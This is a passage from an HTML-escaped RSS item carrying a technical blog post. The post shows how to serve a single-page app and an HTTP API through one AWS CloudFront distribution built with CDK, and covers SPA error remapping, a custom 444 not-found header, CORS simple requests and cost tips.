    &lt;span class="na"&gt;errorResponses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;httpStatus&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// When a S3 returns `Access Denied`&lt;/span&gt;
            &lt;span class="na"&gt;responseHttpStatus&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;responsePagePath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/index.html&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// SPA access point&lt;/span&gt;
            &lt;span class="na"&gt;ttl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;httpStatus&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// If S3 returns a regular `Not Found`&lt;/span&gt;
            &lt;span class="na"&gt;responseHttpStatus&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;responsePagePath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/index.html&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// SPA access point&lt;/span&gt;
            &lt;span class="na"&gt;ttl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;httpVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;HttpVersion&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HTTP2_AND_3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;minimumProtocolVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;SecurityPolicyProtocol&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TLS_V1_2_2021&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The distribution has two particularities: it changes the S3 HTTP status code from &lt;code&gt;403&lt;/code&gt; or &lt;code&gt;404&lt;/code&gt; to &lt;code&gt;200&lt;/code&gt; when S3 cannot serve a request, and it returns the content of the root object.&lt;/p&gt;




&lt;h3&gt;
  
  
  The extension of the CloudFront distribution for the static website
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;distribution&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addBehavior&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/v2.23/*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HttpOrigin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;httpApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apiId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.execute-api.&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;Stack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.amazonaws.com`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;keepaliveTimeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="na"&gt;customHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Use-444-Not-Found&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;true&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// For the API to return 444 code in place of 404 code&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;allowedMethods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AllowedMethods&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ALLOW_ALL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;cachePolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;CachePolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CACHING_DISABLED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;compress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;originRequestPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;OriginRequestPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ALL_VIEWER_EXCEPT_HOST_HEADER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;viewerProtocolPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ViewerProtocolPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;REDIRECT_TO_HTTPS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The configuration to serve the requests for the HTTP API from the same distribution as the website (that means via &lt;a href="https://app.example.com" rel="noopener noreferrer"&gt;https://app.example.com&lt;/a&gt;) has one specific setting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A custom header set by CloudFront in all requests at the destination to the HTTP API—more information in the section below.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The behavior definition also clearly states that the HTTP API responses should not be cached. The payload produced by the HTTP API handler can contain headers like &lt;code&gt;Cache-Control&lt;/code&gt;. They only have an effect on the end-user client (a browser or a smart native application).&lt;/p&gt;

&lt;p&gt;Note also the distribution is set to not compress the response to reduce the latency. Usually, the HTTP API responses are small enough that compressing them even with &lt;em&gt;brotli&lt;/em&gt; is not worthwhile.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons learned
&lt;/h2&gt;

&lt;h3&gt;
  
  
  CORS protocol
&lt;/h3&gt;

&lt;p&gt;I initially believed that cross-origin requests always involved a &lt;em&gt;preflight&lt;/em&gt; request. The goal of this request is to inform the browsers if the remote resource allows any data use for that origin. The response of the preflight requests is often set with a &lt;code&gt;Cache-Control&lt;/code&gt; header that allows browsers to trust the service response for a little while. This caching strategy saves bandwidth and improve the over-the-wire communication performance in the browser.&lt;/p&gt;

&lt;p&gt;It turns out that browsers can skip preflight requests for &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests" rel="noopener noreferrer"&gt;&lt;em&gt;simple&lt;/em&gt;&lt;/a&gt; requests. For the browser to process the response, this one must contain the header &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; with either &lt;code&gt;*&lt;/code&gt; or the request issuer's origin (like &lt;a href="https://app.example.com" rel="noopener noreferrer"&gt;https://app.example.com&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Note that for most services, using '*' or echoing the request's origin is discouraged due to the risk of XSS attacks and potential data leaks to uncontrolled origins. It's better to answer with one accepted value only.&lt;/p&gt;




&lt;h3&gt;
  
  
  404 — Not Found
&lt;/h3&gt;

&lt;p&gt;In a standalone REST API, Lambda functions invoked by the HTTP API often return a &lt;code&gt;404 Not Found&lt;/code&gt; status when no resource matches the request.&lt;/p&gt;

&lt;p&gt;If this behavior is left intact, the client using the endpoint common with the website (i.e., &lt;a href="https://app.example.com" rel="noopener noreferrer"&gt;https://app.example.com&lt;/a&gt;) will get responses with the HTTP status &lt;code&gt;200 OK&lt;/code&gt; and the content of the &lt;code&gt;/index.html&lt;/code&gt; file as the payload.&lt;/p&gt;

&lt;p&gt;This behavior is expected in Single-Page Applications (SPAs):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When the user first visits the page with the base URL &lt;a href="https://app.example.com" rel="noopener noreferrer"&gt;https://app.example.com&lt;/a&gt;, the browser receives the content of the &lt;code&gt;/index.html&lt;/code&gt; page.&lt;/li&gt;
&lt;li&gt;As the user visits more content in the application, the URL changes to keep track of the context. It can take a value like &lt;a href="https://app.example.com/course/DSWL/chapter/3" rel="noopener noreferrer"&gt;https://app.example.com/course/DSWL/chapter/3&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;At any moment, the user can refresh the browser page, or it can bookmark it to come back later at the same place.&lt;/li&gt;
&lt;li&gt;Since no HTML resource exists at that path, the S3 API will return a &lt;code&gt;403 Access Denied&lt;/code&gt; error to CloudFront!"&lt;/li&gt;
&lt;li&gt;To avoid a disruption, we want CloudFront to return the content of the &lt;code&gt;'/index.html&lt;/code&gt; page, trusting the application logic to make sense of the URL and to restore the content for the end user.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the HTTP API is likely accessed by a JavaScript &lt;code&gt;fetch()&lt;/code&gt; call in a browser or HTTP requests from a native client, we need a mechanism to convey the &lt;code&gt;404 Custom Error&lt;/code&gt; information.&lt;/p&gt;

&lt;p&gt;The solution I adopted is to let the Lambda functions behind the HTTP API know that we want a different error code than &lt;code&gt;404 Not Found&lt;/code&gt; when a resource cannot be found. In my case, I opted for &lt;code&gt;444 Custom Error&lt;/code&gt;, hence the header &lt;code&gt;X-Use-444-Not-Found&lt;/code&gt; set to &lt;code&gt;true&lt;/code&gt; in the CloudFront distribution definition.&lt;/p&gt;

&lt;p&gt;Within the HTTP API Lambda handlers, during request payload processing, I invoke the following helper function to set a static variable. This variable is then used by the &lt;code&gt;NotFoundException&lt;/code&gt; to generate the appropriate error code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;_adjustBaseExceptionNotFoundErrorCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="na"&gt;controlHeader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Use-444-Not-Found&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="na"&gt;detectedControlHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;controlHeader&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;true&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;IBaseException&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use444NotFound&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;detectedControlHeaders&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The client implementation was modified to include the &lt;code&gt;444 Custom Error&lt;/code&gt; within the error handling logic, in conjunction with the standard &lt;code&gt;404 Not Found&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note the &lt;code&gt;X-Use-444-Not-Found&lt;/code&gt; custom header preserves standard &lt;code&gt;404 Not Found&lt;/code&gt; behavior in Lambda functions accessed directly or via standalone CloudFront distributions within this consolidated setup.&lt;/p&gt;




&lt;h3&gt;
  
  
  Optimizing the HTTP/2 HTTP header management
&lt;/h3&gt;

&lt;p&gt;On the HTTP/2 protocol (and its successor, HTTP/3), the full set of headers are passed over the wire with the first request. With subsequent requests, updated header values are transmitted to the server as compressed differences.&lt;/p&gt;

&lt;p&gt;Typically, when exchanging data with a CDN, authorization tokens are not included in header values.&lt;/p&gt;

&lt;p&gt;With this consolidated CloudFront distribution, if the web application alternates between CDN and API requests, the browser will frequently update the header payload, alternately removing and restoring the &lt;code&gt;Authorization&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;To optimize processing, it's preferable to consistently include the &lt;code&gt;Authorization&lt;/code&gt; header with the authentication token.&lt;/p&gt;

&lt;p&gt;This is similar to always sending &lt;code&gt;Accept: application/json, plain/text&lt;/code&gt;, even when the application primarily expects JSON, with plain text only returned after a successful &lt;code&gt;POST&lt;/code&gt; request with a &lt;code&gt;201 Created&lt;/code&gt; status.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to mitigate the issue without much refactoring
&lt;/h2&gt;

&lt;p&gt;Making services like an API or an S3 bucket accessible via a different domain doesn't have to be costly. Here are several options for cost optimization:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Utilize &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests" rel="noopener noreferrer"&gt;&lt;em&gt;simple&lt;/em&gt;&lt;/a&gt; requests whenever possible.&lt;/li&gt;
&lt;li&gt;Leverage CloudFront in front of API Gateway or S3 buckets:

&lt;ul&gt;
&lt;li&gt;The first 1TB of monthly data transfer out is free.&lt;/li&gt;
&lt;li&gt;Data transfer out from CloudFront is generally less expensive than from S3 or API Gateway.&lt;/li&gt;
&lt;li&gt;CloudFront traffic largely stays within the AWS private network, whereas direct traffic to S3 or API Gateway traverses the public internet.&lt;/li&gt;
&lt;li&gt;CloudFront edge location caching enhances performance.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Configure appropriate &lt;code&gt;MaxAgeSeconds&lt;/code&gt; to cache preflight responses. Note that Chromium-based browsers limit this to a maximum of 2 hours.&lt;/li&gt;

&lt;li&gt;Employ WebSocket connections instead of REST API calls for frequent communication.&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this post, we've demonstrated how to consolidate multiple services under a single CloudFront distribution using the AWS CDK. This method streamlines infrastructure management, lowers costs, and boosts performance. Utilizing custom headers and error handling, we can efficiently serve both static content and API endpoints through a unified distribution. While security and monitoring remain essential considerations, the advantages of consolidation make it a compelling strategy for numerous applications.&lt;/p&gt;

&lt;p&gt;What are your experiences with consolidating CloudFront distributions? Share your thoughts in the comments below!&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cloudfront</category>
      <category>iac</category>
      <category>cdk</category>
    </item>
  </channel>
</rss>
